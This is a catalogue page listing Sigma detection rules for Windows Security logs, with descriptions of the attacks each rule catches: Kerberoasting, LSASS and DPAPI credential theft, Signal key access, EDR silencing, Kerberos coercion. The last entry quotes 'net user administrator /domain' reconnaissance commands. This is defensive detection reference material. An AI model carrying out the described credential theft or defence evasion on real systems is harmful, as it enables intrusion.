https://github.com/SigmaHQ/sigma/issues/1009

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_stdin_services_security.yml

SCM Database Privileged Operation

Detects non-system users performing privileged operation os the SCM database

The tag is: *misp-galaxy:sigma-rules="SCM Database Privileged Operation"*

View relationships graph

SCM Database Privileged Operation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 16114. Table References

Links
https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml

Metasploit SMB Authentication

Alerts on Metasploit host's authentications on the domain.

The tag is: *misp-galaxy:sigma-rules="Metasploit SMB Authentication"*

View relationships graph

Metasploit SMB Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16115. Table References

Links
https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml

DCERPC SMB Spoolss Named Pipe

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

The tag is: *misp-galaxy:sigma-rules="DCERPC SMB Spoolss Named Pipe"*

View relationships graph

DCERPC SMB Spoolss Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16116. Table References

Links
https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1
https://dirkjanm.io/a-different-way-of-abusing-zerologon/
https://twitter.com/_dirkjan/status/1309214379003588608
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dce_rpc_smb_spoolss_named_pipe.yml

HackTool - EDRSilencer Execution - Filter Added

Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.

The tag is: *misp-galaxy:sigma-rules="HackTool - EDRSilencer Execution - Filter Added"*

View relationships graph

HackTool - EDRSilencer Execution - Filter Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16117. Table References

Links
https://github.com/netero1010/EDRSilencer
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hktl_edr_silencer.yml

Remote PowerShell Sessions Network Connections (WinRM)

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

The tag is: *misp-galaxy:sigma-rules="Remote PowerShell Sessions Network Connections (WinRM)"*

View relationships graph

Remote PowerShell Sessions Network Connections (WinRM) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16118. Table References

Links
https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_remote_powershell_session.yml

Addition of SID History to Active Directory Object

An attacker can use the SID history attribute to gain additional privileges.

The tag is: *misp-galaxy:sigma-rules="Addition of SID History to Active Directory Object"*

View relationships graph

Addition of SID History to Active Directory Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1134.005" with estimative-language:likelihood-probability="almost-certain"

Table 16119. Table References

Links
https://adsecurity.org/?p=1772
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml

Password Protected ZIP File Opened

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

The tag is: *misp-galaxy:sigma-rules="Password Protected ZIP File Opened"*

View relationships graph

Password Protected ZIP File Opened has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 16120. Table References

Links
https://twitter.com/sbousseaden/status/1523383197513379841
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml

Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation

Detects modifications to DNS records in Active Directory where the Distinguished Name (DN) contains a base64-encoded blob matching the pattern "1UWhRCAAAAA...BAAAA". This pattern corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure, commonly used in Kerberos coercion attacks. Adversaries may exploit this to coerce victim systems into authenticating to attacker-controlled hosts by spoofing SPNs via DNS. It is one of the strong indicators of a Kerberos coercion attack,. where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073. Please investigate the user account that made the changes, as it is likely a low-privileged account that has been compromised.

The tag is: *misp-galaxy:sigma-rules="Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation"*

View relationships graph

Potential Kerberos Coercion by Spoofing SPNs via DNS Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DHCP Spoofing - T1557.003" with estimative-language:likelihood-probability="almost-certain"

Table 16121. Table References

Links
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_kerberos_coercion_via_dns_object.yml

Windows Defender Exclusion Registry Key - Write Access Requested

Detects write access requests to the Windows Defender exclusions registry keys. This could be an indication of an attacker trying to request a handle or access the object to write new exclusions in order to bypass security.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exclusion Registry Key - Write Access*

Requested"

View relationships graph

Windows Defender Exclusion Registry Key - Write Access Requested has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16122. Table References

Links
https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_write_access.yml

File Access Of Signal Desktop Sensitive Data

Detects access to Signal Desktop's sensitive data files: db.sqlite and config.json. The db.sqlite file in Signal Desktop stores all locally saved messages in an encrypted SQLite database, while the config.json contains the decryption key needed to access that data. Since the key is stored in plain text, a threat actor who gains access to both files can decrypt and read sensitive messages without needing the users credentials. Currently the rule only covers the default Signal installation path in AppData\Roaming. Signal Portable installations may use different paths based on user configuration. Additional paths can be added to the selection as needed.

The tag is: *misp-galaxy:sigma-rules="File Access Of Signal Desktop Sensitive Data"*

View relationships graph

File Access Of Signal Desktop Sensitive Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 16123. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/
https://vmois.dev/query-signal-desktop-messages-sqlite/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_signal_sensitive_config_access.yml

AD Object WriteDAC Access

Detects WRITE_DAC access to a domain object

The tag is: *misp-galaxy:sigma-rules="AD Object WriteDAC Access"*

View relationships graph

AD Object WriteDAC Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"

Table 16124. Table References

Links
https://threathunterplaybook.com/library/windows/active_directory_replication.html
https://threathunterplaybook.com/hunts/windows/180815-ADObjectAccessReplication/notebook.html
https://threathunterplaybook.com/hunts/windows/190101-ADModDirectoryReplication/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_object_writedac_access.yml

SMB Create Remote File Admin Share

Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).

The tag is: *misp-galaxy:sigma-rules="SMB Create Remote File Admin Share"*

View relationships graph

SMB Create Remote File Admin Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16125. Table References

Links
https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml
https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200806015757.html?highlight=create%20file
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml

Suspicious Kerberos RC4 Ticket Encryption

Detects service ticket requests using RC4 encryption type

The tag is: *misp-galaxy:sigma-rules="Suspicious Kerberos RC4 Ticket Encryption"*

View relationships graph

Suspicious Kerberos RC4 Ticket Encryption has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16126. Table References

Links
https://adsecurity.org/?p=3458
https://www.trimarcsecurity.com/single-post/TrimarcResearch/Detecting-Kerberoasting-Activity
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_rc4_kerberos.yml

Impacket PsExec Execution

Detects execution of Impacket's psexec.py.

The tag is: *misp-galaxy:sigma-rules="Impacket PsExec Execution"*

View relationships graph

Impacket PsExec Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16127. Table References

Links
https://web.archive.org/web/20230329171218/https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_impacket_psexec.yml

First Time Seen Remote Named Pipe

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

The tag is: *misp-galaxy:sigma-rules="First Time Seen Remote Named Pipe"*

View relationships graph

First Time Seen Remote Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16128. Table References

Links
https://twitter.com/menasec1/status/1104489274387451904
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lm_namedpipe.yml

Group Policy Abuse for Privilege Addition

Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.

The tag is: *misp-galaxy:sigma-rules="Group Policy Abuse for Privilege Addition"*

View relationships graph

Group Policy Abuse for Privilege Addition has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

Table 16129. Table References

Links
https://www.elastic.co/guide/en/security/current/group-policy-abuse-for-privilege-addition.html#_setup_275
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_group_policy_abuse_privilege_addition.yml

Suspicious Scheduled Task Creation

Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation"*

View relationships graph

Suspicious Scheduled Task Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16130. Table References

Links

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_creation.yml

ADCS Certificate Template Configuration Vulnerability with Risky EKU

Detects certificate creation with template allowing risk permission subject and risky EKU

The tag is: *misp-galaxy:sigma-rules="ADCS Certificate Template Configuration Vulnerability with Risky EKU"*

Table 16131. Table References

Links
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability_eku.yml

Service Installed By Unusual Client - Security

Detects a service installed by a client which has PID 0 or whose parent has PID 0

The tag is: *misp-galaxy:sigma-rules="Service Installed By Unusual Client - Security"*

View relationships graph

Service Installed By Unusual Client - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 16132. Table References

Links
https://www.x86matthew.com/view_post?id=create_svc_rpc
https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html
https://twitter.com/SBousseaden/status/1490608838701166596
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml

Account Tampering - Suspicious Failed Logon Reasons

This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.

The tag is: *misp-galaxy:sigma-rules="Account Tampering - Suspicious Failed Logon Reasons"*

View relationships graph

Account Tampering - Suspicious Failed Logon Reasons has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16133. Table References

Links
https://twitter.com/SBousseaden/status/1101431884540710913
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml

Startup/Logon Script Added to Group Policy Object

Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects.

The tag is: *misp-galaxy:sigma-rules="Startup/Logon Script Added to Group Policy Object"*

View relationships graph

Startup/Logon Script Added to Group Policy Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 16134. Table References

Links
https://www.elastic.co/guide/en/security/current/startup-logon-script-added-to-group-policy-object.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_group_policy_startup_script_added_to_gpo.yml

Meterpreter or Cobalt Strike Getsystem Service Installation - Security

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

The tag is: *misp-galaxy:sigma-rules="Meterpreter or Cobalt Strike Getsystem Service Installation - Security"*

View relationships graph

Meterpreter or Cobalt Strike Getsystem Service Installation - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 16135. Table References

Links
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_meterpreter_or_cobaltstrike_getsystem_service_install.yml

DPAPI Domain Backup Key Extraction

Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers

The tag is: *misp-galaxy:sigma-rules="DPAPI Domain Backup Key Extraction"*

View relationships graph

DPAPI Domain Backup Key Extraction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

Table 16136. Table References

Links
https://threathunterplaybook.com/hunts/windows/190620-DomainDPAPIBackupKeyExtraction/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dpapi_domain_backupkey_extraction.yml

Invoke-Obfuscation RUNDLL LAUNCHER - Security

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - Security"*

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16137. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_rundll_services_security.yml

Tap Driver Installation - Security

Detects the installation of a well-known TAP driver service. This could be a sign of potential preparation for data exfiltration using tunnelling techniques.

The tag is: *misp-galaxy:sigma-rules="Tap Driver Installation - Security"*

View relationships graph

Tap Driver Installation - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 16138. Table References

Links
https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_tap_driver_installation.yml

ADCS Certificate Template Configuration Vulnerability

Detects certificate creation with template allowing risk permission subject

The tag is: *misp-galaxy:sigma-rules="ADCS Certificate Template Configuration Vulnerability"*

Table 16139. Table References

Links
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_adcs_certificate_template_configuration_vulnerability.yml

Locked Workstation

Detects locked workstation session events that occur automatically after a standard period of inactivity.

The tag is: *misp-galaxy:sigma-rules="Locked Workstation"*

Table 16140. Table References

Links
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800
https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
https://www.cisecurity.org/controls/cis-controls-list/
https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml

Potential AD User Enumeration From Non-Machine Account

Detects read access to a domain user from a non-machine account

The tag is: *misp-galaxy:sigma-rules="Potential AD User Enumeration From Non-Machine Account"*

View relationships graph

Potential AD User Enumeration From Non-Machine Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 16141. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662
https://learn.microsoft.com/en-us/windows/win32/adschema/attributes-all

https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml

Invoke-Obfuscation STDIN+ Launcher - Security

Detects Obfuscated use of stdin to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - Security"*

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16142. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_stdin_services_security.yml

New or Renamed User Account with '$' Character

Detects the creation of a user with the "$" character. This can be used by attackers to hide a user or trick detection systems that lack the parsing mechanisms.

The tag is: *misp-galaxy:sigma-rules="New or Renamed User Account with '$' Character"*

View relationships graph

New or Renamed User Account with '$' Character has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 16143. Table References

Links
https://twitter.com/SBousseaden/status/1387743867663958021
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_new_or_renamed_user_account_with_dollar_sign.yml

Suspicious Remote Logon with Explicit Credentials

Detects suspicious processes logging on with explicit credentials

The tag is: *misp-galaxy:sigma-rules="Suspicious Remote Logon with Explicit Credentials"*

View relationships graph

Suspicious Remote Logon with Explicit Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16144. Table References

Links
https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml

Replay Attack Detected

Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client

The tag is: *misp-galaxy:sigma-rules="Replay Attack Detected"*

View relationships graph

Replay Attack Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

Table 16145. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4649
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_replay_attack_detected.yml

Windows Event Auditing Disabled

Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be

used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.

The tag is: *misp-galaxy:sigma-rules="Windows Event Auditing Disabled"*

View relationships graph

Windows Event Auditing Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 16146. Table References

Links
https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing.yml

User Logoff Event

Detects a user log-off activity. Could be used for example to correlate information during forensic investigations

The tag is: *misp-galaxy:sigma-rules="User Logoff Event"*

View relationships graph

User Logoff Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 16147. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4634
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4647

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_logoff.yml

Remote Service Activity via SVCCTL Named Pipe

Detects remote service activity via remote access to the svcctl named pipe

The tag is: *misp-galaxy:sigma-rules="Remote Service Activity via SVCCTL Named Pipe"*

View relationships graph

Remote Service Activity via SVCCTL Named Pipe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16148. Table References

Links
https://web.archive.org/web/20230329155141/https://blog.menasec.net/2019/03/threat-hunting-26-remote-windows.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_svcctl_remote_service.yml

Windows Pcap Drivers

Detects Windows Pcap driver installation based on a list of associated .sys files.

The tag is: *misp-galaxy:sigma-rules="Windows Pcap Drivers"*

View relationships graph

Windows Pcap Drivers has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 16149. Table References

Links
https://ragged-lab.blogspot.com/2020/06/capturing-pcap-driver-installations.html#more
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_pcap_drivers.yml

Kerberos Manipulation

Detects failed Kerberos TGT issue operation. This can be a sign of manipulations of TGT messages by an attacker.

The tag is: *misp-galaxy:sigma-rules="Kerberos Manipulation"*

View relationships graph

Kerberos Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212" with estimative-language:likelihood-probability="almost-certain"

Table 16150. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4771
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml

PetitPotam Suspicious Kerberos TGT Request

Detect suspicious Kerberos TGT requests. Once an attacer obtains a computer certificate by abusing Active Directory Certificate Services in combination with PetitPotam, the next step would be to leverage the certificate for malicious purposes. One way of doing this is to request a Kerberos Ticket Granting Ticket using a tool like Rubeus. This request will generate a 4768 event with some unusual fields depending on the environment. This analytic will require tuning, we recommend filtering Account_Name to the Domain Controller computer accounts.

The tag is: *misp-galaxy:sigma-rules="PetitPotam Suspicious Kerberos TGT Request"*

View relationships graph

PetitPotam Suspicious Kerberos TGT Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 16151. Table References

Links
https://github.com/topotam/PetitPotam
https://github.com/splunk/security_content/blob/88d689fe8a055d8284337b9fad5d9152b42043db/detections/endpoint/petitpotam_suspicious_kerberos_tgt_request.yml
https://isc.sans.edu/forums/diary/Active+Directory+Certificate+Services+ADCS+PKI+domain+admin+vulnerability/27668/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_susp_tgt_request.yml

Suspicious Access to Sensitive File Extensions

Detects known sensitive file extensions accessed on a network share

The tag is: *misp-galaxy:sigma-rules="Suspicious Access to Sensitive File Extensions"*

View relationships graph

Suspicious Access to Sensitive File Extensions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

Table 16152. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_raccess_sensitive_fext.yml

LSASS Access From Non System Account

Detects potential mimikatz-like tools accessing LSASS from non system account

The tag is: *misp-galaxy:sigma-rules="LSASS Access From Non System Account"*

View relationships graph

LSASS Access From Non System Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16153. Table References

Links
https://threathunterplaybook.com/hunts/windows/170105-LSASSMemoryReadAccess/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lsass_access_non_system_account.yml

Kerberoasting Activity - Initial Query

This rule will collect the data needed to start looking into possible kerberoasting activity. Further analysis or computation within the query is needed focusing on requests from one specific host/IP towards multiple service names within a time period of 5 seconds. You can then set a threshold for the number of requests and time between the requests to turn this into an alert.

The tag is: *misp-galaxy:sigma-rules="Kerberoasting Activity - Initial Query"*

View relationships graph

Kerberoasting Activity - Initial Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

Table 16154. Table References

Links
https://www.trustedsec.com/blog/art_of_kerberoast/
https://adsecurity.org/?p=3513
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_kerberoasting_activity.yml

ETW Logging Disabled In .NET Processes - Registry

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: *misp-galaxy:sigma-rules="ETW Logging Disabled In .NET Processes - Registry"*

View relationships graph

ETW Logging Disabled In .NET Processes - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16155. Table References

Links
https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code
https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables
https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr
https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39
https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_
https://twitter.com/*xpn*/status/1268712093928378368

https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38
https://bunnyinside.com/?term=f71e8cb9c76a
http://managed670.rssing.com/chan-5590147/all_p1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dot_net_etw_tamper.yml

Reconnaissance Activity

Detects activity as "net user administrator /domain" and "net group domain admins /domain"

The tag is: *misp-galaxy:sigma-rules="Reconnaissance Activity"*

View relationships graph

Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
